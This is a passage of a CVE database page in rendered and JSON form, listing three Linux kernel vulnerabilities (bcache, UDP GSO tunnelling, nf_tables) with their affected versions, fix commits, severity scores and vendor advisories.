              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.5",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.221",
                  "versionStartIncluding": "3.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.162",
                  "versionStartIncluding": "3.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.94",
                  "versionStartIncluding": "3.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.34",
                  "versionStartIncluding": "3.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.5",
                  "versionStartIncluding": "3.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "3.10",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nbcache: fix variable length array abuse in btree_iter\n\nbtree_iter is used in two ways: either allocated on the stack with a\nfixed size MAX_BSETS, or from a mempool with a dynamic size based on the\nspecific cache set. Previously, the struct had a fixed-length array of\nsize MAX_BSETS which was indexed out-of-bounds for the dynamically-sized\niterators, which causes UBSAN to complain.\n\nThis patch uses the same approach as in bcachefs\u0027s sort_iter and splits\nthe iterator into a btree_iter with a flexible array member and a\nbtree_iter_stack which embeds a btree_iter as well as a fixed-length\ndata array."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:21:24.514Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/2c3d7b03b658dc8bfa6112b194b67b92a87e081b"
        },
        {
          "url": "https://git.kernel.org/stable/c/5a1922adc5798b7ec894cd3f197afb6f9591b023"
        },
        {
          "url": "https://git.kernel.org/stable/c/934e1e4331859183a861f396d7dfaf33cb5afb02"
        },
        {
          "url": "https://git.kernel.org/stable/c/6479b9f41583b013041943c4602e1ad61cec8148"
        },
        {
          "url": "https://git.kernel.org/stable/c/0c31344e22dd8d6b1394c6e4c41d639015bdc671"
        },
        {
          "url": "https://git.kernel.org/stable/c/3a861560ccb35f2a4f0a4b8207fa7c2a35fc7f31"
        }
      ],
      "title": "bcache: fix variable length array abuse in btree_iter",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-39482",
    "datePublished": "2024-07-05T06:55:10.599Z",
    "dateReserved": "2024-06-25T14:23:23.746Z",
    "dateUpdated": "2026-05-12T11:55:25.412Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35884 (GCVE-0-2024-35884)

Vulnerability from cvelistv5 – Published: 2024-05-19 08:34 – Updated: 2026-05-12 11:52

Title

udp: do not accept non-tunnel GSO skbs landing in a tunnel

Summary

In the Linux kernel, the following vulnerability has been resolved: udp: do not accept non-tunnel GSO skbs landing in a tunnel When rx-udp-gro-forwarding is enabled UDP packets might be GROed when being forwarded. If such packets might land in a tunnel this can cause various issues and udp_gro_receive makes sure this isn't the case by looking for a matching socket. This is performed in udp4/6_gro_lookup_skb but only in the current netns. This is an issue with tunneled packets when the endpoint is in another netns. In such cases the packets will be GROed at the UDP level, which leads to various issues later on. The same thing can happen with rx-gro-list. We saw this with geneve packets being GROed at the UDP level. In such case gso_size is set; later the packet goes through the geneve rx path, the geneve header is pulled, the offset are adjusted and frag_list skbs are not adjusted with regard to geneve. When those skbs hit skb_fragment, it will misbehave. Different outcomes are possible depending on what the GROed skbs look like; from corrupted packets to kernel crashes. One example is a BUG_ON[1] triggered in skb_segment while processing the frag_list. Because gso_size is wrong (geneve header was pulled) skb_segment thinks there is "geneve header size" of data in frag_list, although it's in fact the next packet. The BUG_ON itself has nothing to do with the issue. This is only one of the potential issues. Looking up for a matching socket in udp_gro_receive is fragile: the lookup could be extended to all netns (not speaking about performances) but nothing prevents those packets from being modified in between and we could still not find a matching socket. It's OK to keep the current logic there as it should cover most cases but we also need to make sure we handle tunnel packets being GROed too early. This is done by extending the checks in udp_unexpected_gso: GSO packets lacking the SKB_GSO_UDP_TUNNEL/_CSUM bits and landing in a tunnel must be segmented. [1] kernel BUG at net/core/skbuff.c:4408! RIP: 0010:skb_segment+0xd2a/0xf70 __udp_gso_segment+0xaa/0x560

Severity ?

8.8 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-noinfo Not enough information

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/3391b157780bbedf8…
https://git.kernel.org/stable/c/d49ae15a5767d4e9e…
https://git.kernel.org/stable/c/d12245080cb259d82…
https://git.kernel.org/stable/c/3001e7aa43d6691db…
https://git.kernel.org/stable/c/35fe0e0b5c00bef7d…
https://git.kernel.org/stable/c/3d010c8031e39f5fa…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 9fd1ff5d2ac7181844735806b0a703c942365291 , < 3391b157780bbedf8ef9f202cbf10ee90bf6b0f8 (git) Affected: 9fd1ff5d2ac7181844735806b0a703c942365291 , < d49ae15a5767d4e9ef8bbb79e42df1bfebc94670 (git) Affected: 9fd1ff5d2ac7181844735806b0a703c942365291 , < d12245080cb259d82b34699f6cd4ec11bdb688bd (git) Affected: 9fd1ff5d2ac7181844735806b0a703c942365291 , < 3001e7aa43d6691db2a878b0745b854bf12ddd19 (git) Affected: 9fd1ff5d2ac7181844735806b0a703c942365291 , < 35fe0e0b5c00bef7dde74842a2564c43856fbce4 (git) Affected: 9fd1ff5d2ac7181844735806b0a703c942365291 , < 3d010c8031e39f5fa1e8b13ada77e0321091011f (git)
Linux	Linux	Affected: 5.6 Unaffected: 0 , < 5.6 (semver) Unaffected: 5.10.215 , ≤ 5.10.* (semver) Unaffected: 5.15.154 , ≤ 5.15.* (semver) Unaffected: 6.1.85 , ≤ 6.1.* (semver) Unaffected: 6.6.26 , ≤ 6.6.* (semver) Unaffected: 6.8.5 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "HIGH",
              "baseScore": 8.8,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-35884",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-28T19:37:18.298363Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "description": "CWE-noinfo Not enough information",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-11-13T18:46:28.924Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:21:48.465Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3391b157780bbedf8ef9f202cbf10ee90bf6b0f8"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d49ae15a5767d4e9ef8bbb79e42df1bfebc94670"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d12245080cb259d82b34699f6cd4ec11bdb688bd"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3001e7aa43d6691db2a878b0745b854bf12ddd19"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/35fe0e0b5c00bef7dde74842a2564c43856fbce4"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3d010c8031e39f5fa1e8b13ada77e0321091011f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:52:18.997Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "include/linux/udp.h",
            "net/ipv4/udp.c",
            "net/ipv4/udp_offload.c",
            "net/ipv6/udp.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "3391b157780bbedf8ef9f202cbf10ee90bf6b0f8",
              "status": "affected",
              "version": "9fd1ff5d2ac7181844735806b0a703c942365291",
              "versionType": "git"
            },
            {
              "lessThan": "d49ae15a5767d4e9ef8bbb79e42df1bfebc94670",
              "status": "affected",
              "version": "9fd1ff5d2ac7181844735806b0a703c942365291",
              "versionType": "git"
            },
            {
              "lessThan": "d12245080cb259d82b34699f6cd4ec11bdb688bd",
              "status": "affected",
              "version": "9fd1ff5d2ac7181844735806b0a703c942365291",
              "versionType": "git"
            },
            {
              "lessThan": "3001e7aa43d6691db2a878b0745b854bf12ddd19",
              "status": "affected",
              "version": "9fd1ff5d2ac7181844735806b0a703c942365291",
              "versionType": "git"
            },
            {
              "lessThan": "35fe0e0b5c00bef7dde74842a2564c43856fbce4",
              "status": "affected",
              "version": "9fd1ff5d2ac7181844735806b0a703c942365291",
              "versionType": "git"
            },
            {
              "lessThan": "3d010c8031e39f5fa1e8b13ada77e0321091011f",
              "status": "affected",
              "version": "9fd1ff5d2ac7181844735806b0a703c942365291",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "include/linux/udp.h",
            "net/ipv4/udp.c",
            "net/ipv4/udp_offload.c",
            "net/ipv6/udp.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.6"
            },
            {
              "lessThan": "5.6",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.215",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.154",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.85",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.26",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.5",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.215",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.154",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.85",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.26",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.5",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nudp: do not accept non-tunnel GSO skbs landing in a tunnel\n\nWhen rx-udp-gro-forwarding is enabled UDP packets might be GROed when\nbeing forwarded. If such packets might land in a tunnel this can cause\nvarious issues and udp_gro_receive makes sure this isn\u0027t the case by\nlooking for a matching socket. This is performed in\nudp4/6_gro_lookup_skb but only in the current netns. This is an issue\nwith tunneled packets when the endpoint is in another netns. In such\ncases the packets will be GROed at the UDP level, which leads to various\nissues later on. The same thing can happen with rx-gro-list.\n\nWe saw this with geneve packets being GROed at the UDP level. In such\ncase gso_size is set; later the packet goes through the geneve rx path,\nthe geneve header is pulled, the offset are adjusted and frag_list skbs\nare not adjusted with regard to geneve. When those skbs hit\nskb_fragment, it will misbehave. Different outcomes are possible\ndepending on what the GROed skbs look like; from corrupted packets to\nkernel crashes.\n\nOne example is a BUG_ON[1] triggered in skb_segment while processing the\nfrag_list. Because gso_size is wrong (geneve header was pulled)\nskb_segment thinks there is \"geneve header size\" of data in frag_list,\nalthough it\u0027s in fact the next packet. The BUG_ON itself has nothing to\ndo with the issue. This is only one of the potential issues.\n\nLooking up for a matching socket in udp_gro_receive is fragile: the\nlookup could be extended to all netns (not speaking about performances)\nbut nothing prevents those packets from being modified in between and we\ncould still not find a matching socket. It\u0027s OK to keep the current\nlogic there as it should cover most cases but we also need to make sure\nwe handle tunnel packets being GROed too early.\n\nThis is done by extending the checks in udp_unexpected_gso: GSO packets\nlacking the SKB_GSO_UDP_TUNNEL/_CSUM bits and landing in a tunnel must\nbe segmented.\n\n[1] kernel BUG at net/core/skbuff.c:4408!\n    RIP: 0010:skb_segment+0xd2a/0xf70\n    __udp_gso_segment+0xaa/0x560"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:13:06.248Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/3391b157780bbedf8ef9f202cbf10ee90bf6b0f8"
        },
        {
          "url": "https://git.kernel.org/stable/c/d49ae15a5767d4e9ef8bbb79e42df1bfebc94670"
        },
        {
          "url": "https://git.kernel.org/stable/c/d12245080cb259d82b34699f6cd4ec11bdb688bd"
        },
        {
          "url": "https://git.kernel.org/stable/c/3001e7aa43d6691db2a878b0745b854bf12ddd19"
        },
        {
          "url": "https://git.kernel.org/stable/c/35fe0e0b5c00bef7dde74842a2564c43856fbce4"
        },
        {
          "url": "https://git.kernel.org/stable/c/3d010c8031e39f5fa1e8b13ada77e0321091011f"
        }
      ],
      "title": "udp: do not accept non-tunnel GSO skbs landing in a tunnel",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35884",
    "datePublished": "2024-05-19T08:34:40.948Z",
    "dateReserved": "2024-05-17T13:50:33.112Z",
    "dateUpdated": "2026-05-12T11:52:18.997Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-27065 (GCVE-0-2024-27065)

Vulnerability from cvelistv5 – Published: 2024-05-01 13:04 – Updated: 2026-05-12 11:51

Title

netfilter: nf_tables: do not compare internal table flags on updates

Summary

In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_tables: do not compare internal table flags on updates Restore skipping transaction if table update does not modify flags.

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/845083249d6a392f3…
https://git.kernel.org/stable/c/2531f907d3e40a617…
https://git.kernel.org/stable/c/fcf32a5bfcb8a57ac…
https://git.kernel.org/stable/c/640dbf688ba955e83…
https://git.kernel.org/stable/c/9683cb6c2c6c0f455…
https://git.kernel.org/stable/c/4d37f12707ee965d3…
https://git.kernel.org/stable/c/3443e57654f90c9a8…
https://git.kernel.org/stable/c/df257c435e51651c4…
https://git.kernel.org/stable/c/4a0e7f2decbf9bd72…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: bf8083bbf8fa202e6e5316bbd99759ab82bfe7a3 , < 845083249d6a392f3a88804e1669bdb936ee129f (git) Affected: e10f661adc556c4969c70ddaddf238bffdaf1e87 , < 2531f907d3e40a6173090f10670ae76d117ab27b (git) Affected: d9c4da8cb74e8ee6e58a064a3573aa37acf6c935 , < fcf32a5bfcb8a57ac0ce717fcfa4d688c91f1005 (git) Affected: 179d9ba5559a756f4322583388b3213fe4e391b0 , < 640dbf688ba955e83e03de84fbdda8e570b7cce4 (git) Affected: 179d9ba5559a756f4322583388b3213fe4e391b0 , < 9683cb6c2c6c0f45537bf0b8868b5d38fcb63fc7 (git) Affected: 179d9ba5559a756f4322583388b3213fe4e391b0 , < 4d37f12707ee965d338028732575f0b85f6d9e4f (git) Affected: 179d9ba5559a756f4322583388b3213fe4e391b0 , < 3443e57654f90c9a843ab6a6040c10709fd033aa (git) Affected: 179d9ba5559a756f4322583388b3213fe4e391b0 , < df257c435e51651c43b86326d112ddadda76350e (git) Affected: 179d9ba5559a756f4322583388b3213fe4e391b0 , < 4a0e7f2decbf9bd72461226f1f5f7dcc4b08f139 (git)
Linux	Linux	Affected: 5.13 Unaffected: 0 , < 5.13 (semver) Unaffected: 5.4.273 , ≤ 5.4.* (semver) Unaffected: 5.10.214 , ≤ 5.10.* (semver) Unaffected: 5.15.153 , ≤ 5.15.* (semver) Unaffected: 6.1.83 , ≤ 6.1.* (semver) Unaffected: 6.6.23 , ≤ 6.6.* (semver) Unaffected: 6.7.11 , ≤ 6.7.* (semver) Unaffected: 6.8.2 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-27065",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-06-13T19:23:19.271055Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-13T19:23:29.610Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:27:58.377Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/845083249d6a392f3a88804e1669bdb936ee129f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2531f907d3e40a6173090f10670ae76d117ab27b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/fcf32a5bfcb8a57ac0ce717fcfa4d688c91f1005"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/640dbf688ba955e83e03de84fbdda8e570b7cce4"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/9683cb6c2c6c0f45537bf0b8868b5d38fcb63fc7"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4d37f12707ee965d338028732575f0b85f6d9e4f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3443e57654f90c9a843ab6a6040c10709fd033aa"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/df257c435e51651c43b86326d112ddadda76350e"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4a0e7f2decbf9bd72461226f1f5f7dcc4b08f139"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:51:27.106Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/netfilter/nf_tables_api.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "845083249d6a392f3a88804e1669bdb936ee129f",
              "status": "affected",
              "version": "bf8083bbf8fa202e6e5316bbd99759ab82bfe7a3",
              "versionType": "git"
            },
            {
              "lessThan": "2531f907d3e40a6173090f10670ae76d117ab27b",
              "status": "affected",
              "version": "e10f661adc556c4969c70ddaddf238bffdaf1e87",
              "versionType": "git"
            },
            {
              "lessThan": "fcf32a5bfcb8a57ac0ce717fcfa4d688c91f1005",
              "status": "affected",
              "version": "d9c4da8cb74e8ee6e58a064a3573aa37acf6c935",
              "versionType": "git"
            },
            {
              "lessThan": "640dbf688ba955e83e03de84fbdda8e570b7cce4",
              "status": "affected",
              "version": "179d9ba5559a756f4322583388b3213fe4e391b0",
              "versionType": "git"
            },
            {
              "lessThan": "9683cb6c2c6c0f45537bf0b8868b5d38fcb63fc7",
              "status": "affected",
              "version": "179d9ba5559a756f4322583388b3213fe4e391b0",
              "versionType": "git"
            },
            {
              "lessThan": "4d37f12707ee965d338028732575f0b85f6d9e4f",
              "status": "affected",
              "version": "179d9ba5559a756f4322583388b3213fe4e391b0",
              "versionType": "git"
            },
            {
              "lessThan": "3443e57654f90c9a843ab6a6040c10709fd033aa",
              "status": "affected",
              "version": "179d9ba5559a756f4322583388b3213fe4e391b0",
              "versionType": "git"
            },
            {
              "lessThan": "df257c435e51651c43b86326d112ddadda76350e",
              "status": "affected",
              "version": "179d9ba5559a756f4322583388b3213fe4e391b0",
              "versionType": "git"
            },
            {
              "lessThan": "4a0e7f2decbf9bd72461226f1f5f7dcc4b08f139",
              "status": "affected",
              "version": "179d9ba5559a756f4322583388b3213fe4e391b0",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/netfilter/nf_tables_api.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.13"
            },
            {
              "lessThan": "5.13",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.273",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.214",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.153",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.83",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.23",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.273",
                  "versionStartIncluding": "5.4.262",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.214",
                  "versionStartIncluding": "5.10.202",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.153",
                  "versionStartIncluding": "5.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.83",
                  "versionStartIncluding": "5.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.23",
                  "versionStartIncluding": "5.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.11",
                  "versionStartIncluding": "5.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.2",
                  "versionStartIncluding": "5.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "5.13",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_tables: do not compare internal table flags on updates\n\nRestore skipping transaction if table update does not modify flags."
        }
      ],
      "providerMetadata": {
